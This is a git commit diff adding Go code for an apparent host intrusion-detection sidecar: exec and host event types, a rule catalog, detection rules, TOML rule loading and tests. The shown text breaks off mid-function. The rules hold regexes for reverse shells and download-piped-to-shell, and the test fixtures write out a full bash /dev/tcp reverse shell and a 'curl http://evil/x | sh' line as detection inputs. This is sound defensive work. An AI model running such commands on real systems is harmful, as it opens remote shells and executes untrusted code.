feat(go): advance validation sidecar toward production
This commit is contained in:
parent
6a06eba255
commit
f85c2e831a
92 changed files with 8881 additions and 91 deletions
141
go-agent/internal/events/catalog.go
Normal file
141
go-agent/internal/events/catalog.go
Normal file
|
|
@ -0,0 +1,141 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// RuleCatalog returns the stable operator-facing metadata currently exposed by
|
||||
// Python ruleops.list_rules. Conditions remain data, so auditors can inspect
|
||||
// what the binary will match without reading Go source or loading eBPF.
|
||||
func RuleCatalog(execRules ExecRuleEngine) []map[string]any {
|
||||
builtinExec := map[int]bool{100001: true, 100002: true, 100003: true, 100004: true}
|
||||
records := make([]map[string]any, 0,
|
||||
len(execRules.Rules)+len(DefaultSyscallRuleEngine().Rules)+len(DefaultHostRuleEngine().Rules))
|
||||
for _, rule := range execRules.Rules {
|
||||
origin := "configured"
|
||||
if builtinExec[rule.SID] {
|
||||
origin = "builtin"
|
||||
}
|
||||
conditions := map[string]any{}
|
||||
if len(rule.PathPrefixes) > 0 {
|
||||
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
|
||||
}
|
||||
if len(rule.ExecComms) > 0 {
|
||||
conditions["exec_comm"] = sortedStringKeys(rule.ExecComms)
|
||||
}
|
||||
if len(rule.ParentComms) > 0 {
|
||||
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
|
||||
}
|
||||
if rule.ArgvRegex != "" {
|
||||
conditions["argv_regex"] = rule.ArgvRegex
|
||||
}
|
||||
if len(rule.ParentExclude) > 0 {
|
||||
conditions["parent_exclude"] = sortedStringKeys(rule.ParentExclude)
|
||||
}
|
||||
records = append(records, map[string]any{
|
||||
"sid": rule.SID, "event": "exec", "origin": origin,
|
||||
"severity": rule.Severity, "classtype": rule.Classtype,
|
||||
"signature": "exec_rule." + rule.Classtype,
|
||||
"msg": rule.Message, "conditions": conditions,
|
||||
})
|
||||
}
|
||||
for _, rule := range DefaultSyscallRuleEngine().Rules {
|
||||
records = append(records, map[string]any{
|
||||
"sid": rule.SID, "event": "syscall", "origin": "builtin",
|
||||
"severity": rule.Severity, "classtype": rule.Classtype,
|
||||
"signature": "syscall_rule." + rule.Classtype,
|
||||
"msg": rule.Message,
|
||||
"conditions": map[string]any{
|
||||
"syscalls": sortedStringKeys(rule.Syscalls),
|
||||
"predicate": "built-in predicate",
|
||||
},
|
||||
})
|
||||
}
|
||||
for _, rule := range DefaultHostRuleEngine().Rules {
|
||||
conditions := map[string]any{"events": sortedStringKeys(rule.Events)}
|
||||
if len(rule.Comms) > 0 {
|
||||
conditions["comm"] = sortedStringKeys(rule.Comms)
|
||||
}
|
||||
if len(rule.ParentComms) > 0 {
|
||||
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
|
||||
}
|
||||
if rule.PeerPublic != nil {
|
||||
conditions["peer_public"] = *rule.PeerPublic
|
||||
}
|
||||
if len(rule.PeerPorts) > 0 {
|
||||
conditions["peer_ports"] = sortedIntKeys(rule.PeerPorts)
|
||||
}
|
||||
if len(rule.PeerPortExclude) > 0 {
|
||||
conditions["peer_port_exclude"] = sortedIntKeys(rule.PeerPortExclude)
|
||||
}
|
||||
if len(rule.LocalPorts) > 0 {
|
||||
conditions["local_ports"] = sortedIntKeys(rule.LocalPorts)
|
||||
}
|
||||
if len(rule.LocalPortExclude) > 0 {
|
||||
conditions["local_port_exclude"] = sortedIntKeys(rule.LocalPortExclude)
|
||||
}
|
||||
if len(rule.PathPrefixes) > 0 {
|
||||
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
|
||||
}
|
||||
if len(rule.TargetUIDs) > 0 {
|
||||
conditions["target_uids"] = sortedIntKeys(rule.TargetUIDs)
|
||||
}
|
||||
if len(rule.TargetGIDs) > 0 {
|
||||
conditions["target_gids"] = sortedIntKeys(rule.TargetGIDs)
|
||||
}
|
||||
if len(rule.CapabilitiesAny) > 0 {
|
||||
conditions["capabilities_any"] = sortedStringKeys(rule.CapabilitiesAny)
|
||||
}
|
||||
if len(rule.ModuleNames) > 0 {
|
||||
conditions["module_names"] = sortedStringKeys(rule.ModuleNames)
|
||||
}
|
||||
if rule.ArgvRegex != "" {
|
||||
conditions["argv_regex"] = rule.ArgvRegex
|
||||
}
|
||||
eventTypes := sortedStringKeys(rule.Events)
|
||||
records = append(records, map[string]any{
|
||||
"sid": rule.SID, "event": strings.Join(eventTypes, ","), "origin": "builtin",
|
||||
"severity": rule.Severity, "classtype": rule.Classtype,
|
||||
"signature": "host_rule." + rule.Classtype,
|
||||
"msg": rule.Message, "conditions": conditions,
|
||||
})
|
||||
}
|
||||
sort.SliceStable(records, func(i, j int) bool {
|
||||
leftSID, rightSID := records[i]["sid"].(int), records[j]["sid"].(int)
|
||||
if leftSID != rightSID {
|
||||
return leftSID < rightSID
|
||||
}
|
||||
return records[i]["event"].(string) < records[j]["event"].(string)
|
||||
})
|
||||
return records
|
||||
}
|
||||
|
||||
func FindRule(records []map[string]any, sid int) map[string]any {
|
||||
for _, record := range records {
|
||||
if record["sid"].(int) == sid {
|
||||
return record
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func sortedStringKeys(values map[string]bool) []string {
|
||||
result := make([]string, 0, len(values))
|
||||
for value := range values {
|
||||
result = append(result, value)
|
||||
}
|
||||
sort.Strings(result)
|
||||
return result
|
||||
}
|
||||
|
||||
func sortedIntKeys(values map[int]bool) []int {
|
||||
result := make([]int, 0, len(values))
|
||||
for value := range values {
|
||||
result = append(result, value)
|
||||
}
|
||||
sort.Ints(result)
|
||||
return result
|
||||
}
|
||||
33
go-agent/internal/events/catalog_test.go
Normal file
33
go-agent/internal/events/catalog_test.go
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRuleCatalogCoversEveryPortedRule(t *testing.T) {
|
||||
records := RuleCatalog(DefaultExecRuleEngine())
|
||||
if len(records) != 21 {
|
||||
t.Fatalf("got %d rules, want 21", len(records))
|
||||
}
|
||||
sids := make([]int, 0, len(records))
|
||||
for _, record := range records {
|
||||
sids = append(sids, record["sid"].(int))
|
||||
}
|
||||
want := []int{
|
||||
100001, 100002, 100003, 100004,
|
||||
100060, 100061, 100062, 100063, 100064, 100065, 100066,
|
||||
100067, 100068, 100069, 100070, 100071, 100072, 100073,
|
||||
100076, 100077, 100078,
|
||||
}
|
||||
if !reflect.DeepEqual(sids, want) {
|
||||
t.Fatalf("unexpected catalog SIDs: %#v", sids)
|
||||
}
|
||||
capability := FindRule(records, 100077)
|
||||
conditions := capability["conditions"].(map[string]any)
|
||||
if _, ok := conditions["capabilities_any"]; !ok {
|
||||
t.Fatalf("capability conditions missing: %#v", capability)
|
||||
}
|
||||
}
|
||||
53
go-agent/internal/events/exec_event.go
Normal file
53
go-agent/internal/events/exec_event.go
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package events implements the event-driven rule layer independently from
|
||||
// its eventual kernel source. Keeping event records and matching pure makes
|
||||
// Python/Go parity testable before cilium/ebpf enters the build.
|
||||
package events
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ExecEvent is one execve observed at execution time. Argv excludes filename,
|
||||
// matching the Python event model and the current BCC source contract.
|
||||
type ExecEvent struct {
|
||||
PID int `json:"pid"`
|
||||
PPID int `json:"ppid"`
|
||||
UID int `json:"uid"`
|
||||
ParentComm string `json:"parent_comm"`
|
||||
Filename string `json:"filename"`
|
||||
Argv []string `json:"argv"`
|
||||
}
|
||||
|
||||
// ExecComm intentionally mirrors posixpath.basename rather than filepath.Base:
|
||||
// Python returns an empty basename for a path ending in '/', while filepath
|
||||
// cleans the trailing separator and would return the previous component.
|
||||
func (e ExecEvent) ExecComm() string {
|
||||
if index := strings.LastIndex(e.Filename, "/"); index >= 0 {
|
||||
return e.Filename[index+1:]
|
||||
}
|
||||
return e.Filename
|
||||
}
|
||||
|
||||
func (e ExecEvent) ArgvString() string {
|
||||
parts := make([]string, 0, len(e.Argv)+1)
|
||||
parts = append(parts, e.Filename)
|
||||
parts = append(parts, e.Argv...)
|
||||
return strings.TrimSpace(strings.Join(parts, " "))
|
||||
}
|
||||
|
||||
func (e *ExecEvent) UnmarshalJSON(raw []byte) error {
|
||||
var values map[string]any
|
||||
if err := json.Unmarshal(raw, &values); err != nil {
|
||||
return err
|
||||
}
|
||||
e.PID = integerValue(values["pid"], 0)
|
||||
e.PPID = integerValue(values["ppid"], 0)
|
||||
e.UID = integerValue(values["uid"], 0)
|
||||
e.ParentComm = stringValue(values["parent_comm"])
|
||||
e.Filename = stringValue(values["filename"])
|
||||
e.Argv = stringSlice(values["argv"])
|
||||
return nil
|
||||
}
|
||||
15
go-agent/internal/events/exec_event_test.go
Normal file
15
go-agent/internal/events/exec_event_test.go
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestExecEventDerivedFieldsMatchPython(t *testing.T) {
|
||||
event := ExecEvent{Filename: "/tmp/x", Argv: []string{"-c", "echo hi"}}
|
||||
if event.ExecComm() != "x" || event.ArgvString() != "/tmp/x -c echo hi" {
|
||||
t.Fatalf("unexpected derived fields: %q %q", event.ExecComm(), event.ArgvString())
|
||||
}
|
||||
if got := (ExecEvent{Filename: "/tmp/x/"}).ExecComm(); got != "" {
|
||||
t.Fatalf("trailing-slash basename drifted from Python: %q", got)
|
||||
}
|
||||
}
|
||||
414
go-agent/internal/events/exec_rules.go
Normal file
414
go-agent/internal/events/exec_rules.go
Normal file
|
|
@ -0,0 +1,414 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"encoding/csv"
|
||||
"fmt"
|
||||
"os"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
// ExecRule is the Go representation of Python's declarative exec rule. Every
|
||||
// specified positive condition is ANDed; values inside a condition are ORed.
|
||||
type ExecRule struct {
|
||||
SID int
|
||||
Message string
|
||||
Severity string
|
||||
Classtype string
|
||||
PathPrefixes []string
|
||||
ExecComms map[string]bool
|
||||
ParentComms map[string]bool
|
||||
ArgvRegex string
|
||||
ParentExclude map[string]bool
|
||||
compiled *regexp.Regexp
|
||||
}
|
||||
|
||||
func NewExecRule(rule ExecRule) (ExecRule, error) {
|
||||
if len(rule.PathPrefixes) == 0 && len(rule.ExecComms) == 0 &&
|
||||
len(rule.ParentComms) == 0 && rule.ArgvRegex == "" {
|
||||
return ExecRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
|
||||
}
|
||||
if rule.Severity == "" {
|
||||
rule.Severity = "HIGH"
|
||||
}
|
||||
if rule.Classtype == "" {
|
||||
rule.Classtype = "uncategorized"
|
||||
}
|
||||
if rule.ArgvRegex != "" {
|
||||
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
|
||||
if err != nil {
|
||||
return ExecRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
|
||||
}
|
||||
rule.compiled = compiled
|
||||
}
|
||||
return rule, nil
|
||||
}
|
||||
|
||||
func (r ExecRule) Matches(event ExecEvent) bool {
|
||||
if r.ParentExclude[event.ParentComm] {
|
||||
return false
|
||||
}
|
||||
if len(r.PathPrefixes) > 0 && !hasPrefix(event.Filename, r.PathPrefixes) {
|
||||
return false
|
||||
}
|
||||
if len(r.ExecComms) > 0 && !r.ExecComms[event.ExecComm()] {
|
||||
return false
|
||||
}
|
||||
if len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
|
||||
return false
|
||||
}
|
||||
if r.compiled != nil && !r.compiled.MatchString(event.ArgvString()) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (r ExecRule) Alert(event ExecEvent) model.Alert {
|
||||
argv := truncateRunes(event.ArgvString(), 120)
|
||||
return model.Alert{
|
||||
SID: r.SID,
|
||||
Severity: r.Severity,
|
||||
Signature: "exec_rule." + r.Classtype,
|
||||
Classtype: r.Classtype,
|
||||
Key: fmt.Sprintf("exec:%d:%d", r.SID, event.PID),
|
||||
Detail: fmt.Sprintf(
|
||||
"sid=%d %s — pid=%d ppid=%d parent=%s exec=%s argv=[%s]",
|
||||
r.SID, r.Message, event.PID, event.PPID, event.ParentComm,
|
||||
event.Filename, argv),
|
||||
PIDs: []int{event.PID},
|
||||
}
|
||||
}
|
||||
|
||||
type ExecRuleEngine struct {
|
||||
Rules []ExecRule
|
||||
}
|
||||
|
||||
func DefaultExecRuleEngine() ExecRuleEngine {
|
||||
// Constructors below use only compile-time-valid rules. Panic is preferable
|
||||
// to silently dropping a shipped detection if a future edit breaks one.
|
||||
rules := make([]ExecRule, 0, len(defaultExecRuleSpecs))
|
||||
for _, specification := range defaultExecRuleSpecs {
|
||||
rule, err := NewExecRule(specification)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
rules = append(rules, rule)
|
||||
}
|
||||
return ExecRuleEngine{Rules: rules}
|
||||
}
|
||||
|
||||
func LoadExecRuleEngine(path string) (ExecRuleEngine, error) {
|
||||
engine := DefaultExecRuleEngine()
|
||||
if path == "" {
|
||||
return engine, nil
|
||||
}
|
||||
if _, err := os.Stat(path); os.IsNotExist(err) {
|
||||
return engine, nil
|
||||
} else if err != nil {
|
||||
return ExecRuleEngine{}, err
|
||||
}
|
||||
rules, err := loadTOMLExecRules(path)
|
||||
if err != nil {
|
||||
return ExecRuleEngine{}, err
|
||||
}
|
||||
engine.Rules = append(engine.Rules, rules...)
|
||||
return engine, nil
|
||||
}
|
||||
|
||||
func (e ExecRuleEngine) Match(event ExecEvent) []model.Alert {
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, rule := range e.Rules {
|
||||
if rule.Matches(event) {
|
||||
alerts = append(alerts, rule.Alert(event))
|
||||
}
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
|
||||
var interpreters = stringSet(strings.Fields(
|
||||
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
|
||||
"nc ncat netcat socat"))
|
||||
|
||||
var webDBServers = stringSet(strings.Fields(
|
||||
"nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy " +
|
||||
"node nodejs tomcat catalina mysqld mariadbd postgres redis-server"))
|
||||
|
||||
var defaultExecRuleSpecs = []ExecRule{
|
||||
{
|
||||
SID: 100001, Message: "Program executed from a world-writable directory",
|
||||
Severity: "CRITICAL", Classtype: "fileless-execution",
|
||||
PathPrefixes: []string{"/tmp/", "/dev/shm/", "/var/tmp/"},
|
||||
},
|
||||
{
|
||||
SID: 100002, Message: "Reverse-shell command pattern in execve arguments",
|
||||
Severity: "CRITICAL", Classtype: "c2-reverse-shell",
|
||||
ArgvRegex: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`,
|
||||
},
|
||||
{
|
||||
SID: 100003,
|
||||
Message: "Web/DB service spawned a shell or interpreter (possible RCE/webshell)",
|
||||
Severity: "CRITICAL", Classtype: "web-rce",
|
||||
ExecComms: interpreters, ParentComms: webDBServers,
|
||||
},
|
||||
{
|
||||
SID: 100004, Message: "Download piped directly to a shell (ingress tool transfer)",
|
||||
Severity: "HIGH", Classtype: "ingress-tool-transfer",
|
||||
ArgvRegex: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`,
|
||||
},
|
||||
}
|
||||
|
||||
type rawExecRule struct {
|
||||
values map[string]string
|
||||
}
|
||||
|
||||
// loadTOMLExecRules implements the intentionally narrow [[exec_rules]] subset
|
||||
// consumed by Python. The sidecar stays stdlib-only; multiline string arrays,
|
||||
// quoted strings, comments, and arbitrary table ordering are supported.
|
||||
func loadTOMLExecRules(path string) ([]ExecRule, error) {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tables, err := parseExecRuleTables(string(raw))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rules := make([]ExecRule, 0, len(tables))
|
||||
for _, table := range tables {
|
||||
sidText, ok := table.values["sid"]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("exec_rules entry missing sid")
|
||||
}
|
||||
sid, err := strconv.Atoi(strings.TrimSpace(sidText))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("exec_rules sid: %w", err)
|
||||
}
|
||||
message, err := optionalString(table.values, "msg", "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
severity, err := optionalString(table.values, "severity", "HIGH")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
severity = strings.ToUpper(severity)
|
||||
if severity != "MEDIUM" && severity != "HIGH" && severity != "CRITICAL" {
|
||||
severity = "HIGH"
|
||||
}
|
||||
classtype, err := optionalString(table.values, "classtype", "uncategorized")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argvRegex, err := optionalString(table.values, "argv_regex", "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pathPrefixes, err := optionalStringArray(table.values, "path_prefixes")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
execComms, err := optionalStringArray(table.values, "exec_comm")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parentComms, err := optionalStringArray(table.values, "parent_comm")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parentExclude, err := optionalStringArray(table.values, "parent_exclude")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rule, err := NewExecRule(ExecRule{
|
||||
SID: sid, Message: message, Severity: severity, Classtype: classtype,
|
||||
PathPrefixes: pathPrefixes, ExecComms: stringSet(execComms),
|
||||
ParentComms: stringSet(parentComms), ArgvRegex: argvRegex,
|
||||
ParentExclude: stringSet(parentExclude),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rules = append(rules, rule)
|
||||
}
|
||||
return rules, nil
|
||||
}
|
||||
|
||||
func parseExecRuleTables(text string) ([]rawExecRule, error) {
|
||||
tables := make([]rawExecRule, 0)
|
||||
var current *rawExecRule
|
||||
var assignment strings.Builder
|
||||
depth := 0
|
||||
flush := func() error {
|
||||
if assignment.Len() == 0 || current == nil {
|
||||
assignment.Reset()
|
||||
return nil
|
||||
}
|
||||
key, value, ok := strings.Cut(assignment.String(), "=")
|
||||
if !ok {
|
||||
return fmt.Errorf("invalid exec rule assignment: %q", assignment.String())
|
||||
}
|
||||
current.values[strings.TrimSpace(key)] = strings.TrimSpace(value)
|
||||
assignment.Reset()
|
||||
return nil
|
||||
}
|
||||
for _, rawLine := range strings.Split(text, "\n") {
|
||||
line := strings.TrimSpace(stripTOMLComment(rawLine))
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if line == "[[exec_rules]]" {
|
||||
if err := flush(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tables = append(tables, rawExecRule{values: map[string]string{}})
|
||||
current = &tables[len(tables)-1]
|
||||
depth = 0
|
||||
continue
|
||||
}
|
||||
if current == nil {
|
||||
continue
|
||||
}
|
||||
if assignment.Len() > 0 {
|
||||
assignment.WriteByte(' ')
|
||||
}
|
||||
assignment.WriteString(line)
|
||||
depth += strings.Count(line, "[") - strings.Count(line, "]")
|
||||
if depth <= 0 {
|
||||
if err := flush(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
depth = 0
|
||||
}
|
||||
}
|
||||
if err := flush(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return tables, nil
|
||||
}
|
||||
|
||||
func optionalString(values map[string]string, key, fallback string) (string, error) {
|
||||
raw, ok := values[key]
|
||||
if !ok {
|
||||
return fallback, nil
|
||||
}
|
||||
value, err := tomlString(raw)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("exec_rules %s: %w", key, err)
|
||||
}
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func optionalStringArray(values map[string]string, key string) ([]string, error) {
|
||||
raw, ok := values[key]
|
||||
if !ok {
|
||||
return []string{}, nil
|
||||
}
|
||||
raw = strings.TrimSpace(raw)
|
||||
if len(raw) < 2 || raw[0] != '[' || raw[len(raw)-1] != ']' {
|
||||
return nil, fmt.Errorf("exec_rules %s: expected string array", key)
|
||||
}
|
||||
body := strings.TrimSpace(raw[1 : len(raw)-1])
|
||||
if body == "" {
|
||||
return []string{}, nil
|
||||
}
|
||||
body = strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(body), ","))
|
||||
reader := csv.NewReader(strings.NewReader(body))
|
||||
reader.TrimLeadingSpace = true
|
||||
fields, err := reader.Read()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("exec_rules %s: %w", key, err)
|
||||
}
|
||||
result := make([]string, 0, len(fields))
|
||||
for _, field := range fields {
|
||||
field = strings.TrimSpace(field)
|
||||
if field == "" {
|
||||
continue
|
||||
}
|
||||
// encoding/csv already removes TOML's ordinary double quotes. Literal
|
||||
// single-quoted strings are not CSV syntax, so unwrap those explicitly.
|
||||
if len(field) >= 2 && field[0] == '\'' && field[len(field)-1] == '\'' {
|
||||
field = field[1 : len(field)-1]
|
||||
}
|
||||
result = append(result, field)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func tomlString(raw string) (string, error) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if len(raw) >= 2 && raw[0] == '\'' && raw[len(raw)-1] == '\'' {
|
||||
return raw[1 : len(raw)-1], nil
|
||||
}
|
||||
value, err := strconv.Unquote(raw)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("expected string, got %q", raw)
|
||||
}
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func stripTOMLComment(line string) string {
|
||||
inBasic, inLiteral, escaped := false, false, false
|
||||
for index, char := range line {
|
||||
if escaped {
|
||||
escaped = false
|
||||
continue
|
||||
}
|
||||
if char == '\\' && inBasic {
|
||||
escaped = true
|
||||
continue
|
||||
}
|
||||
if char == '"' && !inLiteral {
|
||||
inBasic = !inBasic
|
||||
continue
|
||||
}
|
||||
if char == '\'' && !inBasic {
|
||||
inLiteral = !inLiteral
|
||||
continue
|
||||
}
|
||||
if char == '#' && !inBasic && !inLiteral {
|
||||
return line[:index]
|
||||
}
|
||||
}
|
||||
return line
|
||||
}
|
||||
|
||||
func hasPrefix(value string, prefixes []string) bool {
|
||||
for _, prefix := range prefixes {
|
||||
if strings.HasPrefix(value, prefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func stringSet(values []string) map[string]bool {
|
||||
result := make(map[string]bool, len(values))
|
||||
for _, value := range values {
|
||||
result[value] = true
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func truncateRunes(value string, limit int) string {
|
||||
runes := []rune(value)
|
||||
if len(runes) <= limit {
|
||||
return value
|
||||
}
|
||||
return string(runes[:limit])
|
||||
}
|
||||
|
||||
// RuleSIDs is kept sorted for operator catalogs and coverage assertions.
|
||||
func (e ExecRuleEngine) RuleSIDs() []int {
|
||||
result := make([]int, 0, len(e.Rules))
|
||||
for _, rule := range e.Rules {
|
||||
result = append(result, rule.SID)
|
||||
}
|
||||
sort.Ints(result)
|
||||
return result
|
||||
}
|
||||
109
go-agent/internal/events/exec_rules_test.go
Normal file
109
go-agent/internal/events/exec_rules_test.go
Normal file
|
|
@ -0,0 +1,109 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func execEvent(filename string, argv []string, parent string) ExecEvent {
|
||||
return ExecEvent{
|
||||
PID: 10, PPID: 9, UID: 0, ParentComm: parent,
|
||||
Filename: filename, Argv: argv,
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) {
|
||||
engine := DefaultExecRuleEngine()
|
||||
tests := []struct {
|
||||
event ExecEvent
|
||||
sid int
|
||||
}{
|
||||
{execEvent("/tmp/.x/dropper", nil, "bash"), 100001},
|
||||
{execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002},
|
||||
{execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002},
|
||||
{execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003},
|
||||
{execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004},
|
||||
}
|
||||
for _, test := range tests {
|
||||
found := false
|
||||
for _, alert := range engine.Match(test.event) {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
|
||||
}
|
||||
}
|
||||
if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 {
|
||||
t.Fatalf("benign command matched: %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecAlertContract(t *testing.T) {
|
||||
event := execEvent("/tmp/x", nil, "bash")
|
||||
alert := DefaultExecRuleEngine().Match(event)[0]
|
||||
if alert.SID != 100001 || alert.Severity != "CRITICAL" ||
|
||||
alert.Signature != "exec_rule.fileless-execution" ||
|
||||
alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]"
|
||||
if alert.Detail != want {
|
||||
t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecRuleValidationAndParentExclude(t *testing.T) {
|
||||
if _, err := NewExecRule(ExecRule{SID: 999}); err == nil {
|
||||
t.Fatal("conditionless rule was accepted")
|
||||
}
|
||||
rule, err := NewExecRule(ExecRule{
|
||||
SID: 1, Severity: "HIGH", Classtype: "test",
|
||||
ExecComms: map[string]bool{"bash": true},
|
||||
ParentExclude: map[string]bool{"sshd": true},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !rule.Matches(execEvent("/bin/bash", nil, "cron")) ||
|
||||
rule.Matches(execEvent("/bin/bash", nil, "sshd")) {
|
||||
t.Fatal("parent exclusion semantics drifted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadConfiguredExecRules(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "rules.toml")
|
||||
raw := []byte(`
|
||||
[[exec_rules]]
|
||||
sid = 190001
|
||||
msg = "Custom interpreter rule"
|
||||
severity = "critical"
|
||||
classtype = "custom-exec"
|
||||
exec_comm = [
|
||||
"bash",
|
||||
"zsh",
|
||||
]
|
||||
parent_comm = ["cron"]
|
||||
parent_exclude = ["sshd"]
|
||||
argv_regex = 'danger\s+now'
|
||||
`)
|
||||
if err := os.WriteFile(path, raw, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
engine, err := LoadExecRuleEngine(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) {
|
||||
t.Fatalf("unexpected rule catalog: %#v", got)
|
||||
}
|
||||
alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron"))
|
||||
if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" {
|
||||
t.Fatalf("configured rule mismatch: %#v", alerts)
|
||||
}
|
||||
}
|
||||
139
go-agent/internal/events/host_event.go
Normal file
139
go-agent/internal/events/host_event.go
Normal file
|
|
@ -0,0 +1,139 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// HostEvent is the common typed record for network, filesystem, identity,
|
||||
// capability, and module activity that is neither exec nor raw syscall data.
|
||||
type HostEvent struct {
|
||||
Event string `json:"event"`
|
||||
PID int `json:"pid"`
|
||||
PPID int `json:"ppid"`
|
||||
UID int `json:"uid"`
|
||||
Comm string `json:"comm"`
|
||||
ParentComm string `json:"parent_comm"`
|
||||
Path string `json:"path"`
|
||||
Argv []string `json:"argv"`
|
||||
PeerIP string `json:"peer_ip"`
|
||||
PeerPort int `json:"peer_port"`
|
||||
LocalIP string `json:"local_ip"`
|
||||
LocalPort int `json:"local_port"`
|
||||
TargetUID int `json:"target_uid"`
|
||||
TargetGID int `json:"target_gid"`
|
||||
Mode int `json:"mode"`
|
||||
Capabilities []string `json:"capabilities"`
|
||||
ModuleName string `json:"module_name"`
|
||||
}
|
||||
|
||||
func (e HostEvent) ArgvString() string {
|
||||
parts := make([]string, 0, len(e.Argv)+1)
|
||||
